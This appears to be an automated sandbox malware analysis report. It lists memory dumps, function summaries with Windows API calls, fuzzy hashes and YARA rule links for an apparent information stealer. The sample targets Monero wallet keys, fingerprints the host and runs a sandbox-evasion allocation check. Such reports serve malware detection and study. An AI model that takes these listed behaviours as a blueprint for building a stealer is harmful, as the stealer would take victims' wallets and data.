Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: ce052693f15dc42ec090ad66e1cc39ab9032945386c95ecfe40f8aff361d263c
Instruction ID: c968d81c7702226b07c55a013394d2966a076c07eec973bce2a2690cf7d1e05d
Opcode Fuzzy Hash: ce052693f15dc42ec090ad66e1cc39ab9032945386c95ecfe40f8aff361d263c
Instruction Fuzzy Hash: 52912675B1020C9FCB28EF64DA95FED77B5BF95300F508519E80A9F291DB309A09CB92

Function 00A00765 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,014D8968), ref: 00A0079A
StrCmpCA.SHLWAPI(00000000,014D8988), ref: 00A00866
StrCmpCA.SHLWAPI(00000000,014D8928), ref: 00A0099D

Part of subcall function 00A0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A0A7E6

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 3d06507a0283677c0985ab7aecc0360445434f63a1c68843ebe669d5e40d446e
Instruction ID: 1e8fd90fa496b6931e0c732ee530aba8d7b433948b03f3ceb84eb29ee1fab2c3
Opcode Fuzzy Hash: 3d06507a0283677c0985ab7aecc0360445434f63a1c68843ebe669d5e40d446e
Instruction Fuzzy Hash: 78813675B102089FCB18EF64DA95FEDB7B5FF94300F50C519E80A9B295DB30AA05CB92

Function 6CAD3060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CAD3095

Part of subcall function 6CAD35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CB5F688,00001000), ref: 6CAD35D5
Part of subcall function 6CAD35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CAD35E0
Part of subcall function 6CAD35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CAD35FD
Part of subcall function 6CAD35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CAD363F
Part of subcall function 6CAD35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CAD369F
Part of subcall function 6CAD35A0: __aulldiv.LIBCMT ref: 6CAD36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAD309F

Part of subcall function 6CAF5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CAF56EE,?,00000001), ref: 6CAF5B85
Part of subcall function 6CAF5B50: EnterCriticalSection.KERNEL32(6CB5F688,?,?,?,6CAF56EE,?,00000001), ref: 6CAF5B90
Part of subcall function 6CAF5B50: LeaveCriticalSection.KERNEL32(6CB5F688,?,?,?,6CAF56EE,?,00000001), ref: 6CAF5BD8
Part of subcall function 6CAF5B50: GetTickCount64.KERNEL32 ref: 6CAF5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CAD30BE

Part of subcall function 6CAD30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CAD3127
Part of subcall function 6CAD30F0: __aulldiv.LIBCMT ref: 6CAD3140

Part of subcall function 6CB0AB2A: __onexit.LIBCMT ref: 6CB0AB30

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: ca813afb4c0ef2dfce937746bc46ed06776d6c1d29ace4b5d2eae9dcfb01b1a5
Instruction ID: 48d38d3b86892fb135c74cab21f1e8c18038a95d850e4c975176215e8da3b77b
Opcode Fuzzy Hash: ca813afb4c0ef2dfce937746bc46ed06776d6c1d29ace4b5d2eae9dcfb01b1a5
Instruction Fuzzy Hash: 5EF0A922E2078896CA10EF7489915EBF774AF6B114F915719E89467591FB2071DCC381

Function 00A09470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00A09484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00A094A5
CloseHandle.KERNEL32(00000000), ref: 00A094AF

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: d5b5792707d52e0b417591d848fadb3d9faa9a500c7703348642163ef5dc2f84
Instruction ID: e00fcab4894334baff6a7baf23a508181d13a5eb6fbe9695e352fa0619b6b57f
Opcode Fuzzy Hash: d5b5792707d52e0b417591d848fadb3d9faa9a500c7703348642163ef5dc2f84
Instruction Fuzzy Hash: 3BF03A7490020CABDB04DFA4DC4AFEE7778EB08300F004498BA09972D0D6B06A85CB91

Function 009F1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 009F112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 009F1132
ExitProcess.KERNEL32 ref: 009F1143

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 81835336bbde482675f8bc37ae935a95d59125ecd20342f16633fa6188783d00
Instruction ID: e1f5eec391fbc181b7cc300a7e0438f6a1d4ad2a8a32028a4ee82bd2b3cd7e23
Opcode Fuzzy Hash: 81835336bbde482675f8bc37ae935a95d59125ecd20342f16633fa6188783d00
Instruction Fuzzy Hash: 61E0E670A5534CFBE7106BA0DC0EB1D7678AB05B11F104054F709761D0D6B52650979A

Function 00A01A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A0A740: lstrcpy.KERNEL32(00A10E17,00000000), ref: 00A0A788

Part of subcall function 00A0A9B0: lstrlen.KERNEL32(?,014D89B8,?,\Monero\wallet.keys,00A10E17), ref: 00A0A9C5
Part of subcall function 00A0A9B0: lstrcpy.KERNEL32(00000000), ref: 00A0AA04
Part of subcall function 00A0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A0AA12

Part of subcall function 00A0A8A0: lstrcpy.KERNEL32(?,00A10E17), ref: 00A0A905

Part of subcall function 00A07500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00A07542
Part of subcall function 00A07500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00A0757F
Part of subcall function 00A07500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00A07603
Part of subcall function 00A07500: RtlAllocateHeap.NTDLL(00000000), ref: 00A0760A

Part of subcall function 00A0A920: lstrcpy.KERNEL32(00000000,?), ref: 00A0A972
Part of subcall function 00A0A920: lstrcat.KERNEL32(00000000), ref: 00A0A982

Part of subcall function 00A07690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00A076A4
Part of subcall function 00A07690: RtlAllocateHeap.NTDLL(00000000), ref: 00A076AB

Part of subcall function 00A077C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,00A0DBC0,000000FF,?,00A01C99,00000000,?,014DD248,00000000,?), ref: 00A077F2
Part of subcall function 00A077C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,00A0DBC0,000000FF,?,00A01C99,00000000,?,014DD248,00000000,?), ref: 00A077F9

Part of subcall function 00A07850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,009F11B7), ref: 00A07880
Part of subcall function 00A07850: RtlAllocateHeap.NTDLL(00000000), ref: 00A07887
Part of subcall function 00A07850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00A0789F

Part of subcall function 00A078E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00A07910
Part of subcall function 00A078E0: RtlAllocateHeap.NTDLL(00000000), ref: 00A07917
Part of subcall function 00A078E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00A0792F

Part of subcall function 00A07980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00A10E00,00000000,?), ref: 00A079B0
Part of subcall function 00A07980: RtlAllocateHeap.NTDLL(00000000), ref: 00A079B7
Part of subcall function 00A07980: GetLocalTime.KERNEL32(?,?,?,?,?,00A10E00,00000000,?), ref: 00A079C4
Part of subcall function 00A07980: wsprintfA.USER32 ref: 00A079F3

Part of subcall function 00A07A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,014DE328,00000000,?,00A10E10,00000000,?,00000000,00000000), ref: 00A07A63
Part of subcall function 00A07A30: RtlAllocateHeap.NTDLL(00000000), ref: 00A07A6A
Part of subcall function 00A07A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,014DE328,00000000,?,00A10E10,00000000,?,00000000,00000000,?), ref: 00A07A7D

Part of subcall function 00A07B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,014DE328,00000000,?,00A10E10,00000000,?,00000000,00000000), ref: 00A07B35

Part of subcall function 00A07B90: GetKeyboardLayoutList.USER32(00000000,00000000,00A105AF), ref: 00A07BE1
Part of subcall function 00A07B90: LocalAlloc.KERNEL32(00000040,?), ref: 00A07BF9
Part of subcall function 00A07B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 00A07C0D
Part of subcall function 00A07B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00A07C62
Part of subcall function 00A07B90: LocalFree.KERNEL32(00000000), ref: 00A07D22

Part of subcall function 00A07D80: GetSystemPowerStatus.KERNEL32(?), ref: 00A07DAD

GetCurrentProcessId.KERNEL32(00000000,?,014DD2C8,00000000,?,00A10E24,00000000,?,00000000,00000000,?,014DE340,00000000,?,00A10E20,00000000), ref: 00A0207E

Part of subcall function 00A09470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00A09484
Part of subcall function 00A09470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00A094A5
Part of subcall function 00A09470: CloseHandle.KERNEL32(00000000), ref: 00A094AF

Part of subcall function 00A07E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00A07E37
Part of subcall function 00A07E00: RtlAllocateHeap.NTDLL(00000000), ref: 00A07E3E
Part of subcall function 00A07E00: RegOpenKeyExA.KERNEL32(80000002,014CB908,00000000,00020119,?), ref: 00A07E5E
Part of subcall function 00A07E00: RegQueryValueExA.KERNEL32(?,014DD328,00000000,00000000,000000FF,000000FF), ref: 00A07E7F
Part of subcall function 00A07E00: RegCloseKey.ADVAPI32(?), ref: 00A07E92

Part of subcall function 00A07F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00A07FC9
Part of subcall function 00A07F60: GetLastError.KERNEL32 ref: 00A07FD8

Part of subcall function 00A07ED0: GetSystemInfo.KERNEL32(00A10E2C), ref: 00A07F00
Part of subcall function 00A07ED0: wsprintfA.USER32 ref: 00A07F16

Part of subcall function 00A08100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,014DE220,00000000,?,00A10E2C,00000000,?,00000000), ref: 00A08130
Part of subcall function 00A08100: RtlAllocateHeap.NTDLL(00000000), ref: 00A08137
Part of subcall function 00A08100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00A08158
Part of subcall function 00A08100: __aulldiv.LIBCMT ref: 00A08172
Part of subcall function 00A08100: __aulldiv.LIBCMT ref: 00A08180
Part of subcall function 00A08100: wsprintfA.USER32 ref: 00A081AC

Part of subcall function 00A087C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00A10E28,00000000,?), ref: 00A0882F
Part of subcall function 00A087C0: RtlAllocateHeap.NTDLL(00000000), ref: 00A08836
Part of subcall function 00A087C0: wsprintfA.USER32 ref: 00A08850

Part of subcall function 00A08320: RegOpenKeyExA.KERNEL32(00000000,014DABB0,00000000,00020019,00000000,00A105B6), ref: 00A083A4

Part of subcall function 00A08320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00A08426
Part of subcall function 00A08320: wsprintfA.USER32 ref: 00A08459
Part of subcall function 00A08320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00A0847B
Part of subcall function 00A08320: RegCloseKey.ADVAPI32(00000000), ref: 00A0848C
Part of subcall function 00A08320: RegCloseKey.ADVAPI32(00000000), ref: 00A08499

Part of subcall function 00A08680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00A105B7), ref: 00A086CA
Part of subcall function 00A08680: Process32First.KERNEL32(?,00000128), ref: 00A086DE
Part of subcall function 00A08680: Process32Next.KERNEL32(?,00000128), ref: 00A086F3
Part of subcall function 00A08680: CloseHandle.KERNEL32(?), ref: 00A08761

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 00A0265B

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$Allocate$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$AllocComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 3113730047-0
Opcode ID: 95c6678b44244cf41f299fb61f1453c0a92929bd38a05652ce54a5103cee67bd
Instruction ID: 5ac5b6e6dc63267ac2f45d3e52838b8a43eaef9f2c8f49c4916375b480a3005f
Opcode Fuzzy Hash: 95c6678b44244cf41f299fb61f1453c0a92929bd38a05652ce54a5103cee67bd
Instruction Fuzzy Hash: 41721D72D1021CAADB59FB50EE92EEE7338AF74300F508699B516620D1EF702B4DCB65

Function 009F6D40 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
